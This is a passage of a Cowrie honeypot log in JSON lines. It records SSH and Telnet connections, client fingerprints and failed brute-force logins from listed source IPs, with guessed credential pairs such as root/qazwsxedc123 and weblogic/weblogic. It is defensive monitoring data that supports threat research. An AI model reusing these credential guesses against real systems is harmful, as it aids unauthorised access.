ssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:11.461521Z","src_ip":"5.181.124.9","session":"f4375923952a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a4b222f1fde","protocol":"telnet","message":"New connection: 192.119.13.58:58222 (10.17.0.5:23) [session: 4a4b222f1fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:11.776894Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52760,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e47a642125","protocol":"telnet","message":"New connection: 192.119.13.58:52760 (10.17.0.5:23) [session: 38e47a642125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:17.204535Z"}
{"eventid":"cowrie.session.closed","duration":0.006518840789794922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:17.210777Z","src_ip":"192.119.13.58","session":"38e47a642125","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"glass","message":"login attempt [root/glass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:17.370483Z","src_ip":"5.181.124.9","session":"f4375923952a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:18.665530Z","src_ip":"5.181.124.9","session":"f4375923952a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"12108c5d74ed","protocol":"telnet","message":"New connection: 192.119.13.58:59342 (10.17.0.5:23) [session: 12108c5d74ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:25.639449Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39112,"dst_ip":"10.17.0.5","dst_port":23,"session":"75eae55ad51d","protocol":"telnet","message":"New connection: 192.119.13.58:39112 (10.17.0.5:23) [session: 75eae55ad51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:27.741087Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45610,"dst_ip":"10.17.0.5","dst_port":23,"session":"fedb90fa0aba","protocol":"telnet","message":"New connection: 192.119.13.58:45610 (10.17.0.5:23) [session: fedb90fa0aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:29.495121Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53054,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4db601375c8","protocol":"ssh","message":"New connection: 103.149.28.157:53054 (10.17.0.5:22) [session: f4db601375c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:31.051913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:31.062128Z","src_ip":"103.149.28.157","session":"f4db601375c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:31.312922Z","src_ip":"103.149.28.157","session":"f4db601375c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:32.055959Z","src_ip":"103.149.28.157","session":"f4db601375c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:33.306495Z","src_ip":"103.149.28.157","session":"f4db601375c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":32910,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b0fe8de5ce4","protocol":"ssh","message":"New connection: 43.153.7.148:32910 (159.203.135.109:22) [session: 0b0fe8de5ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:33.423401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:33.428793Z","src_ip":"43.153.7.148","session":"0b0fe8de5ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:33.497385Z","src_ip":"43.153.7.148","session":"0b0fe8de5ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiao123456","message":"login attempt [root/xiao123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:33.805798Z","src_ip":"43.153.7.148","session":"0b0fe8de5ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":51093,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdabb134425a","protocol":"ssh","message":"New connection: 103.24.63.85:51093 (159.203.135.109:22) [session: bdabb134425a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:33.988332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:34.001036Z","src_ip":"103.24.63.85","session":"bdabb134425a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:34.188240Z","src_ip":"103.24.63.85","session":"bdabb134425a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:34.876920Z","src_ip":"43.153.7.148","session":"0b0fe8de5ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:35.189110Z","src_ip":"103.24.63.85","session":"bdabb134425a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.380674600601196,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:35.875654Z","src_ip":"192.119.13.58","session":"fedb90fa0aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:36.387038Z","src_ip":"103.24.63.85","session":"bdabb134425a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.60644340515137,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:41.321267Z","src_ip":"192.119.13.58","session":"54c5a7629be3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46338,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5bd7431886f","protocol":"telnet","message":"New connection: 192.119.13.58:46338 (10.17.0.5:23) [session: d5bd7431886f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:43.766314Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":55416,"dst_ip":"159.203.135.109","dst_port":22,"session":"8547c5f81a6b","protocol":"ssh","message":"New connection: 103.24.63.85:55416 (159.203.135.109:22) [session: 8547c5f81a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:48.700826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:48.709408Z","src_ip":"103.24.63.85","session":"8547c5f81a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:48.902906Z","src_ip":"103.24.63.85","session":"8547c5f81a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:49.480417Z","src_ip":"103.24.63.85","session":"8547c5f81a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.280005693435669,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:50.046175Z","src_ip":"192.119.13.58","session":"d5bd7431886f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:50.675882Z","src_ip":"103.24.63.85","session":"8547c5f81a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.53421711921692,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:54.208311Z","src_ip":"192.119.13.58","session":"eda3b3ca1b18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.02303671836853,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:57.799798Z","src_ip":"192.119.13.58","session":"4a4b222f1fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49402,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aef0c0c9bed","protocol":"telnet","message":"New connection: 192.119.13.58:49402 (10.17.0.5:23) [session: 4aef0c0c9bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:58.111094Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.12.237.201","src_port":33228,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f8badc132e","protocol":"telnet","message":"New connection: 85.12.237.201:33228 (10.17.0.5:23) [session: e8f8badc132e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:59.836775Z"}
{"eventid":"cowrie.session.closed","duration":38.00287914276123,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:05.743825Z","src_ip":"192.119.13.58","session":"75eae55ad51d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59756,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c5722d2365d","protocol":"telnet","message":"New connection: 192.119.13.58:59756 (10.17.0.5:23) [session: 5c5722d2365d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:08.091489Z"}
{"eventid":"cowrie.session.closed","duration":43.807002782821655,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:09.446315Z","src_ip":"192.119.13.58","session":"12108c5d74ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":45720,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d5b0873689c","protocol":"ssh","message":"New connection: 43.153.7.148:45720 (159.203.135.109:22) [session: 9d5b0873689c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:11.363045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:11.367817Z","src_ip":"43.153.7.148","session":"9d5b0873689c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:11.436619Z","src_ip":"43.153.7.148","session":"9d5b0873689c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:11.748139Z","src_ip":"43.153.7.148","session":"9d5b0873689c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:12.821283Z","src_ip":"43.153.7.148","session":"9d5b0873689c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.375131607055664,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:19.211782Z","src_ip":"85.12.237.201","session":"e8f8badc132e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":41811,"dst_ip":"159.203.135.109","dst_port":23,"session":"83fc7174a0db","protocol":"telnet","message":"New connection: 186.195.16.41:41811 (159.203.135.109:23) [session: 83fc7174a0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:23.068313Z"}
{"eventid":"cowrie.session.closed","duration":3.748763084411621,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:26.816912Z","src_ip":"186.195.16.41","session":"83fc7174a0db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46678,"dst_ip":"10.17.0.5","dst_port":23,"session":"100b7f09c446","protocol":"telnet","message":"New connection: 192.119.13.58:46678 (10.17.0.5:23) [session: 100b7f09c446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:33.222648Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59754,"dst_ip":"10.17.0.5","dst_port":23,"session":"88b81a8cdcde","protocol":"telnet","message":"New connection: 192.119.13.58:59754 (10.17.0.5:23) [session: 88b81a8cdcde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:36.658983Z"}
{"eventid":"cowrie.session.closed","duration":41.32024145126343,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:39.431215Z","src_ip":"192.119.13.58","session":"4aef0c0c9bed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d5e4d6c28d3","protocol":"telnet","message":"New connection: 192.119.13.58:34628 (10.17.0.5:23) [session: 7d5e4d6c28d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:44.577322Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36900,"dst_ip":"10.17.0.5","dst_port":23,"session":"da7f93fb4408","protocol":"telnet","message":"New connection: 192.119.13.58:36900 (10.17.0.5:23) [session: da7f93fb4408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:45.196102Z"}
{"eventid":"cowrie.session.closed","duration":40.196467876434326,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:48.287848Z","src_ip":"192.119.13.58","session":"5c5722d2365d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51582,"dst_ip":"10.17.0.5","dst_port":23,"session":"043a1d4567b3","protocol":"telnet","message":"New connection: 192.119.13.58:51582 (10.17.0.5:23) [session: 043a1d4567b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:48.790345Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":44254,"dst_ip":"159.203.135.109","dst_port":22,"session":"472f2c682848","protocol":"ssh","message":"New connection: 43.153.7.148:44254 (159.203.135.109:22) [session: 472f2c682848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:51.423023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:31:51.428930Z","src_ip":"43.153.7.148","session":"472f2c682848","protocol":"ssh"}
